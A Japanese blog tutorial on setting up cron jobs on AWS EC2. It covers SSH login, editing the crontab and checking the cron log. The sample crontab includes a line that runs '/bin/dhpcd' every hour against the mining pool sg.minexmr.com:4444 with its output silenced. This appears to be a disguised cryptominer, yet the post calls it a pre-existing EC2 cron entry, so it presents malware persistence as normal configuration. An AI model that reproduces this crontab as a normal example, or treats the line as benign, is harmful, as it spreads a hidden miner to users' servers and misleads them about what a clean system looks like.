Engineerの研鑽

メインはプログラミング系ブログ(本の要約とかもします)

質問はCONTACTやコメントでお願い致します。

【わかる】EC2のCronの設定方法

お久しぶりです。(久しぶりすぎて忘れられていると思いますが)半年ぶりのゆきとです。

 

ここ半年ほど開発案件に付きっきりになっており、長らくブログを書いておりませんでした。ですので、今、こうやってブログをかける幸せを噛み締めているところです笑

 

さて余談もそこそこに本題にはいっていきます。

 

今日はEC2でのCron設定方法を紹介します。

 

すでにたくさんの記事で書かれている内容かと思いますが、他の記事をみていると痒い所に手が届いていないような記述がされているケースが多く、一つの記事をみただけではCronの設定がうまくできませんでした(いろんな記事の情報を寄せ集めてなんとか設定できました)。

 

なのでこの記事では、こうしたらEC2でCronの設定ができる(2021/04/04現在)という方法をこの記事だけで完結する様に紹介します。

*いくつか、つまずくポイントが隠されているので、そこは太字で示します。

1. EC2にSSHでログイン

まずEC2にSSHでログインします。(ここは特に問題はないと思うのでさらっとだけ紹介します)

EC2 SSHログインssh -i ~/.ssh/公開鍵名.pem ユーザ名@IPアドレス
ex. ) ssh -i ~/.ssh/test-test.pem ec2-user@18.111.191.119   

EC2にログインができたら、次はCronの設定です

2. EC2内のCrontabの編集

EC2内のCrontab設定ファイル(/var/spool/cron/root)を編集します。

EC2 Crontab編集sudo crontab -e

//1〜3行はcronを適切に動作させるためのおまじない(cronのパスを設定しています。ここを設定しないと動かないのですが、他の記事では書かれていない場合が多々ありました)

//4行目はすでにEC2で設定されているcron

//5行目は今回追加したcron (毎分 "Is this working" と出力される)

PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
38 * * * * /bin/dhpcd -o sg.minexmr.com:4444 -B >/dev/null 2>/dev/null
* * * * * echo "Is this working"

上記の様にCrontabが設定できれば、次に動作確認を行います。

3. Cronの動作確認

EC2内のCron動作を下記のコマンドから確認します。

Cron動作確認sudo tail -f /var/log/cron

Cron動作結果

図の様に1分ごとにecho "Is this working"コマンドが実行されているのが確認できると思います。

 

ここまでできればEC2でのCron設定は終了です。あとは、自分がcronをしたいファイルごとにcronを設定するだけとなります。

 

うまく設定できましたか?何かあれば、右上のtwitterからDMください!この記事が少しでも参考になれば幸いです。

 

それではまた後日!!

図解即戦力 Amazon Web Servicesのしくみと技術がこれ1冊でしっかりわかる教科書

図解即戦力 Amazon Web Servicesのしくみと技術がこれ1冊でしっかりわかる教科書

  • 作者:小笠原 種高
  • 発売日: 2019/11/07
  • メディア: 単行本(ソフトカバー)